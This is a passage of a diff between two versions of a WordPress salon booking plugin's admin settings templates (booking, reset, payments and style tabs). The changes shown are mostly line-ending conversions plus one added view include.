class=\"row\">\r\n-                \u003Cdiv class=\"col-xs-12 form-group sln-select  sln-select--info-label\">\r\n-                    \u003Cdiv class=\"row\">\r\n-                        \u003Cdiv class=\"col-xs-4\">\r\n-                            \u003C?php $field = \"salon_settings[interval]\"; ?>\r\n-                            \u003C?php echo SLN_Form::fieldSelect(\r\n-                                $field,\r\n-                                SLN_Enum_Interval::toArray(),\r\n-                                $this->getOpt('interval') ? $this->getOpt('interval') : 15\r\n-                            ) ?>\r\n-                        \u003C\u002Fdiv>\r\n-                        \u003Cdiv class=\"col-xs-8 sln-label--big\">\u003Clabel\r\n-                                for=\"\u003C?php echo SLN_Form::makeID($field) ?>\">\u003C?php esc_html_e(\r\n-                                    'Minutes per session',\r\n-                                    'salon-booking-system'\r\n-                                ); ?>\u003C\u002Flabel>\u003C\u002Fdiv>\r\n-                        \u003Cdiv class=\"col-xs-12\">\r\n-                            \u003Cp class=\"help-block sln-input-help\">\u003C?php esc_html_e(\r\n-                                    'We suggest you to set this option accordingly with the duration of your shortest service.',\r\n-                                    'salon-booking-system'\r\n-                                ) ?>\u003C\u002Fp>\r\n-                        \u003C\u002Fdiv>\r\n-                    \u003C\u002Fdiv>\r\n-                \u003C\u002Fdiv>\r\n-            \u003C\u002Fdiv>\r\n-        \u003C\u002Fdiv>\r\n-    \u003C\u002Fdiv>\r\n-\u003C\u002Fdiv>\r\n-\u003C?php\r\n-echo $plugin->loadView('settings\u002F_tab_booking_form_steps_alt_order', array('helper' => $this));\r\n-echo $plugin->loadView('settings\u002F_tab_booking_offset', array('helper' => $this));\r\n-echo $plugin->loadView('settings\u002F_tab_booking_timing'); ?>\r\n-\u003Cdiv class=\"booking-wrapper\">\r\n-    \u003C?php echo $plugin->loadView('settings\u002F_tab_booking_rules', array('availabilities' => $plugin->getSettings()->get('availabilities'), 'base' => 'salon_settings[availabilities]'));\r\n-    echo $plugin->loadView('settings\u002F_availability_preview', array('availabilities' => $plugin->getSettings()->get('availabilities'), 'base' => 'salon_settings[availabilities]')); ?>\r\n-\u003C\u002Fdiv>\r\n-\u003C?php echo $plugin->loadView('settings\u002F_tab_booking_holiday_rules', array('holidays' => $plugin->getSettings()->get('holidays'), 'base' => 'salon_settings[holidays]'));\r\n-echo $plugin->loadView('settings\u002F_tab_booking_confirmation', array('helper' => $this));\r\n-echo $plugin->loadView('settings\u002F_tab_booking_cancellation', array('helper' => $this));\r\n-echo $plugin->loadView('settings\u002F_tab_booking_rescheduling', array('helper' => $this));\r\n-echo $plugin->loadView('settings\u002F_tab_booking_resources', array('helper' => $this));\r\n-?>\r\n-\r\n-\r\n+\u003C?php\n+\u002F\u002F phpcs:ignoreFile WordPress.Security.EscapeOutput.OutputNotEscaped\n+$plugin = SLN_Plugin::getInstance();\n+include $this->plugin->getViewFile('admin\u002Futilities\u002Fsettings_inpage_navbar');\n+sum(\n+\t\u002F\u002F link anchor, link text\n+\tarray('#sln-pause_booking_service', __('Pause booking service', 'salon-booking-system')),\n+\tarray('#sln-availability_mode', __('Availability mode', 'salon-booking-system')),\n+\tarray('#sln-nested_bookings', __('Nested bookings', 'salon-booking-system')),\n+\tarray('#sln-customers_per_session', __('Customers per session', 'salon-booking-system')),\n+\tarray('#sln-session_average_duration', __('Session average duration', 'salon-booking-system')),\n+\tarray('#sln-auto_align_slots', __('Auto-align time slots', 'salon-booking-system')),\n+\tarray('#sln-booking_steps_order', __('Booking steps order', 'salon-booking-system')),\n+\tarray('#sln-offset_between_reservations', __('Offset between reservations', 'salon-booking-system')),\n+\tarray('#sln-booking_time_range', __('Booking time range', 'salon-booking-system')),\n+\tarray('#sln-online_booking_available_days', __('On-line booking available days', 'salon-booking-system')),\n+\tarray('.availability-preview-box', __('Opening hours preview', 'salon-booking-system')),\n+\tarray('#sln-holidays_days', __('Holidays days', 'salon-booking-system')),\n+\tarray('#sln-booking_manual_confirmation', __('Booking manual confirmation', 'salon-booking-system')),\n+\tarray('#sln-user_booking_cancellation', __('User booking cancellation', 'salon-booking-system')),\n+\tarray('#sln-booking_rescheduling', __('Booking rescheduling', 'salon-booking-system'))\n+);\n+?>\n+\u003C?php\n+echo $plugin->loadView('settings\u002F_tab_booking_status');\n+echo $plugin->loadView('settings\u002F_tab_booking_availability');\n+echo $plugin->loadView('settings\u002F_tab_booking_nested_bookings');\n+?>\n+\u003Cdiv class=\"row\">\n+    \u003Cdiv id=\"sln-customers_per_session\" class=\"col-xs-12 col-sm-6 col-md-6\">\n+        \u003Cdiv class=\"sln-box sln-box--main sln-box--main--small\">\n+            \u003Ch2 class=\"sln-box-title\">\u003C?php esc_html_e('Customers per session', 'salon-booking-system'); ?> \u003Cspan\n+                    class=\"block\">\u003C?php esc_html_e(\n+                        'How many people you can attend during a single time\u002Fsession?',\n+                        'salon-booking-system'\n+                    ) ?>\u003C\u002Fspan>\u003C\u002Fh2>\n+            \u003Cdiv class=\"row\">\n+                \u003Cdiv class=\"col-xs-12 form-group sln-select  sln-select--info-label\">\n+                    \u003Cdiv class=\"row\">\n+                        \u003Cdiv class=\"col-xs-4\">\n+                            \u003C?php echo SLN_Form::fieldNumeric(\n+                                \"salon_settings[parallels_hour]\",\n+                                $this->getOpt('parallels_hour'),\n+                                array('min' => 1, 'max' => 1000)\n+                            ) ?>\n+                        \u003C\u002Fdiv>\n+                        \u003Cdiv class=\"col-xs-8 sln-label--big\">\u003Clabel for=\"salon_settings_sms_remind_interval\">Customers\n+                                per session\u003C\u002Flabel>\u003C\u002Fdiv>\n+                        \u003Cdiv class=\"col-xs-12\">\n+                            \u003Cp class=\"help-block sln-input-help\">\u003C?php _e(\n+                                    'Set these options carefully because it will affect the number of bookings you can accept for the same \u003Cstrong>time\u002Fsession\u003C\u002Fstrong>.',\n+                                    'salon-booking-system'\n+                                ) ?>\u003C\u002Fp>\n+                        \u003C\u002Fdiv>\n+                    \u003C\u002Fdiv>\n+                \u003C\u002Fdiv>\n+            \u003C\u002Fdiv>\n+        \u003C\u002Fdiv>\n+    \u003C\u002Fdiv>\n+    \u003Cdiv class=\"col-xs-12 col-sm-6 col-md-6\">\n+        \u003Cdiv id=\"sln-session_average_duration\" class=\"sln-box sln-box--main sln-box--main--small\">\n+            \u003Ch2 class=\"sln-box-title\">\u003C?php esc_html_e('Session average duration', 'salon-booking-system'); ?> \u003Cspan\n+                    class=\"block\">\u003C?php esc_html_e(\n+                        'This option will change the minimum hour fraction of the Time picker.',\n+                        'salon-booking-system'\n+                    ) ?>\u003C\u002Fspan>\u003C\u002Fh2>\n+            \u003Cdiv class=\"row\">\n+                \u003Cdiv class=\"col-xs-12 form-group sln-select  sln-select--info-label\">\n+                    \u003Cdiv class=\"row\">\n+                        \u003Cdiv class=\"col-xs-4\">\n+                            \u003C?php $field = \"salon_settings[interval]\"; ?>\n+                            \u003C?php echo SLN_Form::fieldSelect(\n+                                $field,\n+                                SLN_Enum_Interval::toArray(),\n+                                $this->getOpt('interval') ? $this->getOpt('interval') : 15\n+                            ) ?>\n+                        \u003C\u002Fdiv>\n+                        \u003Cdiv class=\"col-xs-8 sln-label--big\">\u003Clabel\n+                                for=\"\u003C?php echo SLN_Form::makeID($field) ?>\">\u003C?php esc_html_e(\n+                                    'Minutes per session',\n+                                    'salon-booking-system'\n+                                ); ?>\u003C\u002Flabel>\u003C\u002Fdiv>\n+                        \u003Cdiv class=\"col-xs-12\">\n+                            \u003Cp class=\"help-block sln-input-help\">\u003C?php esc_html_e(\n+                                    'We suggest you to set this option accordingly with the duration of your shortest service.',\n+                                    'salon-booking-system'\n+                                ) ?>\u003C\u002Fp>\n+                        \u003C\u002Fdiv>\n+                    \u003C\u002Fdiv>\n+                \u003C\u002Fdiv>\n+            \u003C\u002Fdiv>\n+        \u003C\u002Fdiv>\n+    \u003C\u002Fdiv>\n+\u003C\u002Fdiv>\n+\u003C?php\n+echo $plugin->loadView('settings\u002F_tab_booking_auto_align_slots', array('helper' => $this));\n+echo $plugin->loadView('settings\u002F_tab_booking_form_steps_alt_order', array('helper' => $this));\n+echo $plugin->loadView('settings\u002F_tab_booking_offset', array('helper' => $this));\n+echo $plugin->loadView('settings\u002F_tab_booking_timing'); ?>\n+\u003Cdiv class=\"booking-wrapper\">\n+    \u003C?php echo $plugin->loadView('settings\u002F_tab_booking_rules', array('availabilities' => $plugin->getSettings()->get('availabilities'), 'base' => 'salon_settings[availabilities]'));\n+    echo $plugin->loadView('settings\u002F_availability_preview', array('availabilities' => $plugin->getSettings()->get('availabilities'), 'base' => 'salon_settings[availabilities]')); ?>\n+\u003C\u002Fdiv>\n+\u003C?php echo $plugin->loadView('settings\u002F_tab_booking_holiday_rules', array('holidays' => $plugin->getSettings()->get('holidays'), 'base' => 'salon_settings[holidays]'));\n+echo $plugin->loadView('settings\u002F_tab_booking_confirmation', array('helper' => $this));\n+echo $plugin->loadView('settings\u002F_tab_booking_cancellation', array('helper' => $this));\n+echo $plugin->loadView('settings\u002F_tab_booking_rescheduling', array('helper' => $this));\n+echo $plugin->loadView('settings\u002F_tab_booking_resources', array('helper' => $this));\n+?>\n+\n+\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fviews\u002Fsettings\u002Ftab_homepage.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fviews\u002Fsettings\u002Ftab_homepage.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fviews\u002Fsettings\u002Ftab_homepage.php\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fviews\u002Fsettings\u002Ftab_homepage.php\t2026-04-21 18:43:56.000000000 +0000\n@@ -1,31 +1,31 @@\n-\u003C?php\r\n-\u002F\u002F phpcs:ignoreFile WordPress.WP.I18n.TextDomainMismatch\r\n-?>\r\n-   \u003Cdiv class=\"sln-box sln-box--main\">\r\n-    \u003Ch2 class=\"sln-box-title\">Reset Settings\u003C\u002Fh2>\r\n-    \u003Cdiv class=\"row\">\r\n-        \u003Cdiv class=\"col-xs-12 col-sm-4 form-group sln-input--simple\">\r\n-        \u003Ch6 class=\"sln-fake-label\">Reset\u003C\u002Fh6>\r\n-        \u003Cbutton type=\"submit\" class=\"sln-btn sln-btn--warning sln-btn--big sln-btn--icon sln-icon--warning\" name=\"reset-settings\" value=\"reset\"\r\n-        onClick=\"return confirm('Do you really want to reset?');\"\r\n-        >\u003C?php echo esc_html__('Reset settings', 'salon-booking-system')?>\u003C\u002Fbutton>\r\n-        \u003C\u002Fdiv>\r\n-        \u003Cdiv class=\"col-xs-12 col-sm-4 form-group sln-box-maininfo align-top\">\r\n-            \u003Cp class=\"sln-input-help\">\u003C?php\r\n-                \u002F\u002F phpcs:ignore WordPress.Security.EscapeOutput.UnsafePrintingFunction\r\n-                _e('Use this option to restore all the original settings. All your actual settings will be lost. \u003Cbr \u002F>This operation can\\'t be undone.', 'salon-booking-system'); ?>\r\n-            \u003C\u002Fp>\r\n-        \u003C\u002Fdiv>\r\n-    \u003C\u002Fdiv>\r\n-    \r\n-    \u003Cdiv class=\"sln-box-info\">\r\n-       \u003Cdiv class=\"sln-box-info-trigger\">\u003Cbutton class=\"sln-btn sln-btn--main sln-btn--small sln-btn--icon sln-icon--info\">info\u003C\u002Fbutton>\u003C\u002Fdiv>\r\n-       \u003Cdiv class=\"sln-box-info-content row\">\r\n-       \u003Cdiv class=\"col-xs-12 col-sm-8 col-md-4 \">\r\n-       \u003Ch5>>\u003C?php esc_html_e('Sed eget metus vitae enim suscipit scelerisque non sed neque. Mauris semper hendrerit erat, in consectetur arcu eleifend at. Donec orci lacus, euismod euismod luctus sed, rhoncus in tellus. Mauris tempus arcu ut luctus venenatis.', 'salon-booking-system'); ?>\u003C\u002Fh5>\r\n-        \u003C\u002Fdiv>\r\n-        \u003C\u002Fdiv>\r\n-        \u003Cdiv class=\"sln-box-info-trigger\">\u003Cbutton class=\"sln-btn sln-btn--main sln-btn--small sln-btn--icon sln-icon--close\">info\u003C\u002Fbutton>\u003C\u002Fdiv>\r\n-    \u003C\u002Fdiv>\r\n-\u003C\u002Fdiv>\r\n-\r\n+\u003C?php\n+\u002F\u002F phpcs:ignoreFile WordPress.WP.I18n.TextDomainMismatch\n+?>\n+   \u003Cdiv class=\"sln-box sln-box--main\">\n+    \u003Ch2 class=\"sln-box-title\">Reset Settings\u003C\u002Fh2>\n+    \u003Cdiv class=\"row\">\n+        \u003Cdiv class=\"col-xs-12 col-sm-4 form-group sln-input--simple\">\n+        \u003Ch6 class=\"sln-fake-label\">Reset\u003C\u002Fh6>\n+        \u003Cbutton type=\"submit\" class=\"sln-btn sln-btn--warning sln-btn--big sln-btn--icon sln-icon--warning\" name=\"reset-settings\" value=\"reset\"\n+        onClick=\"return confirm('Do you really want to reset?');\"\n+        >\u003C?php echo esc_html__('Reset settings', 'salon-booking-system')?>\u003C\u002Fbutton>\n+        \u003C\u002Fdiv>\n+        \u003Cdiv class=\"col-xs-12 col-sm-4 form-group sln-box-maininfo align-top\">\n+            \u003Cp class=\"sln-input-help\">\u003C?php\n+                \u002F\u002F phpcs:ignore WordPress.Security.EscapeOutput.UnsafePrintingFunction\n+                _e('Use this option to restore all the original settings. All your actual settings will be lost. \u003Cbr \u002F>This operation can\\'t be undone.', 'salon-booking-system'); ?>\n+            \u003C\u002Fp>\n+        \u003C\u002Fdiv>\n+    \u003C\u002Fdiv>\n+    \n+    \u003Cdiv class=\"sln-box-info\">\n+       \u003Cdiv class=\"sln-box-info-trigger\">\u003Cbutton class=\"sln-btn sln-btn--main sln-btn--small sln-btn--icon sln-icon--info\">info\u003C\u002Fbutton>\u003C\u002Fdiv>\n+       \u003Cdiv class=\"sln-box-info-content row\">\n+       \u003Cdiv class=\"col-xs-12 col-sm-8 col-md-4 \">\n+       \u003Ch5>>\u003C?php esc_html_e('Sed eget metus vitae enim suscipit scelerisque non sed neque. Mauris semper hendrerit erat, in consectetur arcu eleifend at. Donec orci lacus, euismod euismod luctus sed, rhoncus in tellus. Mauris tempus arcu ut luctus venenatis.', 'salon-booking-system'); ?>\u003C\u002Fh5>\n+        \u003C\u002Fdiv>\n+        \u003C\u002Fdiv>\n+        \u003Cdiv class=\"sln-box-info-trigger\">\u003Cbutton class=\"sln-btn sln-btn--main sln-btn--small sln-btn--icon sln-icon--close\">info\u003C\u002Fbutton>\u003C\u002Fdiv>\n+    \u003C\u002Fdiv>\n+\u003C\u002Fdiv>\n+\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fviews\u002Fsettings\u002Ftab_payments.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fviews\u002Fsettings\u002Ftab_payments.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fviews\u002Fsettings\u002Ftab_payments.php\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fviews\u002Fsettings\u002Ftab_payments.php\t2026-04-21 18:43:56.000000000 +0000\n@@ -1,88 +1,88 @@\n-\u003C?php\r\n-\u002F\u002F phpcs:ignoreFile WordPress.Security.EscapeOutput.UnsafePrintingFunction\r\n-\u002F\u002F phpcs:ignoreFile WordPress.Security.EscapeOutput.OutputNotEscaped\r\n-include $this->plugin->getViewFile('admin\u002Futilities\u002Fsettings_inpage_navbar');\r\n-sum(\r\n-\t\u002F\u002F link anchor, link text\r\n-\tarray('#sln-prices_visibility', __('Prices visibility', 'salon-booking-system')),\r\n-\tarray('#sln-currency', __('Currency', 'salon-booking-system'))\r\n-);\r\n-?>\r\n-\u003Cdiv id=\"sln-currency\" class=\"sln-box sln-box--main\">\r\n-        \u003Ch2 class=\"sln-box-title\">\u003C?php esc_html_e('Currency', 'salon-booking-system');?>\u003C\u002Fh2>\r\n-        \u003Cdiv class=\"row\">\r\n-                \u003Cdiv class=\"col-xs-12 col-sm-6 col-md-4 form-group sln-select \">\r\n-                    \u003Clabel for=\"salon_settings_pay_currency\">\u003C?php esc_html_e('Set your currency', 'salon-booking-system')?>\u003C\u002Flabel>\r\n-                    \u003C?php echo SLN_Form::fieldCurrency(\r\n-\t\"salon_settings[pay_currency]\",\r\n-\t$this->settings->getCurrency()\r\n-) ?>\r\n-                \u003C\u002Fdiv>\r\n-                \u003Cdiv class=\"col-xs-12 col-sm-6 col-md-4 form-group sln-select \">\r\n-                    \u003Clabel for=\"salon_settings_pay_currency_pos\">\u003C?php esc_html_e('Set your currency position', 'salon-booking-system')?>\u003C\u002Flabel>\r\n-                     \u003C?php echo SLN_Form::fieldSelect(\r\n-\t'salon_settings[pay_currency_pos]',\r\n-\tarray('left' => esc_html__('on left side', 'salon-booking-system'), 'right' => esc_html__('on right side', 'salon-booking-system')),\r\n-\t$this->settings->get('pay_currency_pos'),\r\n-\tarray(),\r\n-\ttrue\r\n-) ?>\r\n-                \u003C\u002Fdiv>\r\n-            \u003Cdiv class=\"col-xs-12 col-sm-6 col-md-4 visible-lg-block sln-box-maininfo\">\r\n-                \u003Cp class=\"sln-box-info\">\u003C?php esc_html_e('If you want a new currency to be added please send us an email to support@wpchef.it', 'salon-booking-system');?>\u003C\u002Fp>\r\n-            \u003C\u002Fdiv>\r\n-            \u003Cdiv class=\"clearfix visible-lg-block\">\u003C\u002Fdiv>\r\n-            \u003Cdiv class=\"col-xs-6 col-sm-3 col-md-2 sln-input--simple\">\r\n-                \u003C?php $this->row_input_text('pay_decimal_separator', __('Decimal separator', 'salon-booking-system'));?>\r\n-            \u003C\u002Fdiv>\r\n-            \u003Cdiv class=\"col-xs-6 col-sm-3 col-md-2 sln-input--simple sln-pay-thousand-separator-option\">\r\n-                \u003C?php $this->row_input_text('pay_thousand_separator', __('Thousand separator', 'salon-booking-system'));?>\r\n-            \u003C\u002Fdiv>\r\n-            \u003C?php \u002F* this box is a carbon copy of the one some lines above, this one is visible on smaller screens, the other one on large screens. They must have the same content. *\u002F?>\r\n-            \u003Cdiv class=\"col-xs-12 col-sm-6 col-md-4 hidden-lg sln-box-maininfo\">\r\n-                \u003Cp class=\"sln-box-info\">\u003C?php esc_html_e('If you want a new currency to be added please send us an email to support@wpchef.it', 'salon-booking-system');?>\u003C\u002Fp>\r\n-            \u003C\u002Fdiv>\r\n-                \u003C\u002Fdiv>\r\n-\r\n-        \u003Cdiv class=\"row\">\r\n-\r\n-        \u003C\u002Fdiv>\r\n-    \u003C\u002Fdiv>\r\n-    \u003Cdiv class=\"row\">\r\n-        \u003Cdiv class=\"col-xs-12 col-sm-6 col-md-6\">\r\n-            \u003Cdiv id=\"sln-prices_visibility\" class=\"sln-box sln-box--main sln-box--main--small\">\r\n-                \u003Ch2 class=\"sln-box-title\">\u003C?php esc_html_e('Prices visibility', 'salon-booking-system')?>\u003C\u002Fh2>\r\n-                \u003Cdiv class=\"row\">\r\n-                    \u003Cdiv class=\"col-xs-12 form-group sln-checkbox\">\r\n-                        \u003C?php $this->row_input_checkbox('hide_prices', __('Hide Prices', 'salon-booking-system'));?>\r\n-\r\n-                    \u003Cdiv class=\"sln-box-maininfo\">\r\n-                        \u003Cp class=\"sln-box-info\">\u003C?php _e('Select this Option if you want to hide all prices from the front end.\u003Cbr\u002F>Note: Online Payment will be disabled.', 'salon-booking-system')?>\u003C\u002Fp>\r\n-                    \u003C\u002Fdiv>\r\n-                    \u003C\u002Fdiv>\r\n-                \u003C\u002Fdiv>\r\n-            \u003C\u002Fdiv>\r\n-        \u003C\u002Fdiv>\r\n-\r\n-\u003Cdiv class=\"col-xs-12 col-sm-6 col-md-6\">\r\n-    \u003Cdiv id=\"\" class=\"sln-box sln-box--main sln-box--main--small\">\r\n-        \r\n-        \u003Cdiv class=\"sln-staff-member-assigned-bookings-only--alert\">\r\n-            \u003Cp>\r\n-                \u003C?php esc_html_e('Accept online payments with PayPal, Stripe or many other payments platforms.', 'salon-booking-system') ?>\r\n-                \u003Cbr\u002F>\r\n-                \u003C?php esc_html_e('Request upfront deposit or offer a \"Pay later\" option.', 'salon-booking-system') ?>\r\n-                \u003Cbr\u002F>\r\n-                \u003C?php esc_html_e('Switch to PRO version today, and get access to all available features.', 'salon-booking-system') ?>\r\n-                \u003Cbr\u002F>\r\n-                \u003Cbr\u002F>\r\n-                \u003Ca href=\"https:\u002F\u002Fwww.salonbookingsystem.com\u002Fhomepage\u002Fplugin-pricing\u002F?utm_source=Payments%20settings&utm_medium=Plugin&utm_campaign=Go%20PRO\" target=\"_blank\">\r\n-\r\n-                    \u003C?php esc_html_e('OK, I need this..', 'salon-booking-system')?>\r\n-                \u003C\u002Fa>\r\n-            \u003C\u002Fp>\r\n-        \u003C\u002Fdiv>\r\n-    \u003C\u002Fdiv>\r\n-\u003C\u002Fdiv>\r\n-\r\n-    \u003C\u002Fdiv>\r\n+\u003C?php\n+\u002F\u002F phpcs:ignoreFile WordPress.Security.EscapeOutput.UnsafePrintingFunction\n+\u002F\u002F phpcs:ignoreFile WordPress.Security.EscapeOutput.OutputNotEscaped\n+include $this->plugin->getViewFile('admin\u002Futilities\u002Fsettings_inpage_navbar');\n+sum(\n+\t\u002F\u002F link anchor, link text\n+\tarray('#sln-prices_visibility', __('Prices visibility', 'salon-booking-system')),\n+\tarray('#sln-currency', __('Currency', 'salon-booking-system'))\n+);\n+?>\n+\u003Cdiv id=\"sln-currency\" class=\"sln-box sln-box--main\">\n+        \u003Ch2 class=\"sln-box-title\">\u003C?php esc_html_e('Currency', 'salon-booking-system');?>\u003C\u002Fh2>\n+        \u003Cdiv class=\"row\">\n+                \u003Cdiv class=\"col-xs-12 col-sm-6 col-md-4 form-group sln-select \">\n+                    \u003Clabel for=\"salon_settings_pay_currency\">\u003C?php esc_html_e('Set your currency', 'salon-booking-system')?>\u003C\u002Flabel>\n+                    \u003C?php echo SLN_Form::fieldCurrency(\n+\t\"salon_settings[pay_currency]\",\n+\t$this->settings->getCurrency()\n+) ?>\n+                \u003C\u002Fdiv>\n+                \u003Cdiv class=\"col-xs-12 col-sm-6 col-md-4 form-group sln-select \">\n+                    \u003Clabel for=\"salon_settings_pay_currency_pos\">\u003C?php esc_html_e('Set your currency position', 'salon-booking-system')?>\u003C\u002Flabel>\n+                     \u003C?php echo SLN_Form::fieldSelect(\n+\t'salon_settings[pay_currency_pos]',\n+\tarray('left' => esc_html__('on left side', 'salon-booking-system'), 'right' => esc_html__('on right side', 'salon-booking-system')),\n+\t$this->settings->get('pay_currency_pos'),\n+\tarray(),\n+\ttrue\n+) ?>\n+                \u003C\u002Fdiv>\n+            \u003Cdiv class=\"col-xs-12 col-sm-6 col-md-4 visible-lg-block sln-box-maininfo\">\n+                \u003Cp class=\"sln-box-info\">\u003C?php esc_html_e('If you want a new currency to be added please send us an email to support@wpchef.it', 'salon-booking-system');?>\u003C\u002Fp>\n+            \u003C\u002Fdiv>\n+            \u003Cdiv class=\"clearfix visible-lg-block\">\u003C\u002Fdiv>\n+            \u003Cdiv class=\"col-xs-6 col-sm-3 col-md-2 sln-input--simple\">\n+                \u003C?php $this->row_input_text('pay_decimal_separator', __('Decimal separator', 'salon-booking-system'));?>\n+            \u003C\u002Fdiv>\n+            \u003Cdiv class=\"col-xs-6 col-sm-3 col-md-2 sln-input--simple sln-pay-thousand-separator-option\">\n+                \u003C?php $this->row_input_text('pay_thousand_separator', __('Thousand separator', 'salon-booking-system'));?>\n+            \u003C\u002Fdiv>\n+            \u003C?php \u002F* this box is a carbon copy of the one some lines above, this one is visible on smaller screens, the other one on large screens. They must have the same content. *\u002F?>\n+            \u003Cdiv class=\"col-xs-12 col-sm-6 col-md-4 hidden-lg sln-box-maininfo\">\n+                \u003Cp class=\"sln-box-info\">\u003C?php esc_html_e('If you want a new currency to be added please send us an email to support@wpchef.it', 'salon-booking-system');?>\u003C\u002Fp>\n+            \u003C\u002Fdiv>\n+                \u003C\u002Fdiv>\n+\n+        \u003Cdiv class=\"row\">\n+\n+        \u003C\u002Fdiv>\n+    \u003C\u002Fdiv>\n+    \u003Cdiv class=\"row\">\n+        \u003Cdiv class=\"col-xs-12 col-sm-6 col-md-6\">\n+            \u003Cdiv id=\"sln-prices_visibility\" class=\"sln-box sln-box--main sln-box--main--small\">\n+                \u003Ch2 class=\"sln-box-title\">\u003C?php esc_html_e('Prices visibility', 'salon-booking-system')?>\u003C\u002Fh2>\n+                \u003Cdiv class=\"row\">\n+                    \u003Cdiv class=\"col-xs-12 form-group sln-checkbox\">\n+                        \u003C?php $this->row_input_checkbox('hide_prices', __('Hide Prices', 'salon-booking-system'));?>\n+\n+                    \u003Cdiv class=\"sln-box-maininfo\">\n+                        \u003Cp class=\"sln-box-info\">\u003C?php _e('Select this Option if you want to hide all prices from the front end.\u003Cbr\u002F>Note: Online Payment will be disabled.', 'salon-booking-system')?>\u003C\u002Fp>\n+                    \u003C\u002Fdiv>\n+                    \u003C\u002Fdiv>\n+                \u003C\u002Fdiv>\n+            \u003C\u002Fdiv>\n+        \u003C\u002Fdiv>\n+\n+\u003Cdiv class=\"col-xs-12 col-sm-6 col-md-6\">\n+    \u003Cdiv id=\"\" class=\"sln-box sln-box--main sln-box--main--small\">\n+        \n+        \u003Cdiv class=\"sln-staff-member-assigned-bookings-only--alert\">\n+            \u003Cp>\n+                \u003C?php esc_html_e('Accept online payments with PayPal, Stripe or many other payments platforms.', 'salon-booking-system') ?>\n+                \u003Cbr\u002F>\n+                \u003C?php esc_html_e('Request upfront deposit or offer a \"Pay later\" option.', 'salon-booking-system') ?>\n+                \u003Cbr\u002F>\n+                \u003C?php esc_html_e('Switch to PRO version today, and get access to all available features.', 'salon-booking-system') ?>\n+                \u003Cbr\u002F>\n+                \u003Cbr\u002F>\n+                \u003Ca href=\"https:\u002F\u002Fwww.salonbookingsystem.com\u002Fhomepage\u002Fplugin-pricing\u002F?utm_source=Payments%20settings&utm_medium=Plugin&utm_campaign=Go%20PRO\" target=\"_blank\">\n+\n+                    \u003C?php esc_html_e('OK, I need this..', 'salon-booking-system')?>\n+                \u003C\u002Fa>\n+            \u003C\u002Fp>\n+        \u003C\u002Fdiv>\n+    \u003C\u002Fdiv>\n+\u003C\u002Fdiv>\n+\n+    \u003C\u002Fdiv>\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fviews\u002Fsettings\u002Ftab_style.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fviews\u002Fsettings\u002Ftab_style.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fviews\u002Fsettings\u002Ftab_style.php\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fviews\u002Fsettings\u002Ftab_style.php\t2026-04-21 18:43:56.000000000 +0000\n@@ -1,223 +1,223 @@\n-\u003C?php\r\n-\u002F**\r\n- * @var $this SLN_Plugin\r\n- *\u002F\r\n-$enum = new SLN_Enum_ShortcodeStyle();\r\n-$curr = $this->settings->getStyleShortcode();\r\n-$colors = $this->settings->get('style_colors') ? $this->settings->get('style_colors') : array();\r\n-include $this->plugin->getViewFile('admin\u002Futilities\u002Fsettings_inpage_navbar');\r\n-sum(\r\n-\t\u002F\u002F link anchor, link text\r\n-\tarray('#sln-booking_form_layout', __('Select booking form layout', 'salon-booking-system')),\r\n-\tarray('#sln-custom_colors', __('Custom colors', 'salon-booking-system')),\r\n-\tarray('#sln-ajax_steps', __('Ajax steps', 'salon-booking-system')),\r\n-\tarray('#sln-disable_bootstrap_assets', __('Bootstrap assets', 'salon-booking-system'))\r\n-);\r\n-\u002F\u002F phpcs:ignoreFile WordPress.WP.I18n.TextDomainMismatch\r\n-?>\r\n-    \u003Cdiv id=\"sln-booking_form_layout\" class=\"sln-box sln-box--main sln-box--haspanel sln-box--haspanel--open\">\r\n-        \u003Ch2 class=\"sln-box-title sln-box__paneltitle sln-box__paneltitle--open\">\r\n-            \u003C?php esc_html_e('Select your favorite booking form layout', 'salon-booking-system');?>\r\n-            \u003Cspan>\u003C?php esc_html_e('Choose the one that best fits your page', 'salon-booking-system');?>\u003C\u002Fspan>\r\n-        \u003C\u002Fh2>\r\n-        \u003Cdiv class=\"collapse in sln-box__panelcollapse\">\r\n-        \u003Cdiv class=\"row\">\r\n-            \u003C?php foreach ($enum->toArray() as $key => $label):\r\n-?>\r\n-                \u003Cdiv class=\"col-sm-4\">\r\n-                    \u003Cdiv class=\"sln-radiobox__wrapper--bd\">\r\n-                        \u003Cdiv class=\"sln-radiobox sln-radiobox--fullwidth\">\r\n-                        \u003Cinput type=\"radio\" name=\"salon_settings[style_shortcode]\"\r\n-                               value=\"\u003C?php echo esc_attr($key) ?>\"\r\n-                               id=\"style_shortcode_\u003C?php echo esc_attr($key) ?>\"\r\n-                            \u003C?php echo ($curr == $key) ? 'checked=\"checked\"' : '' 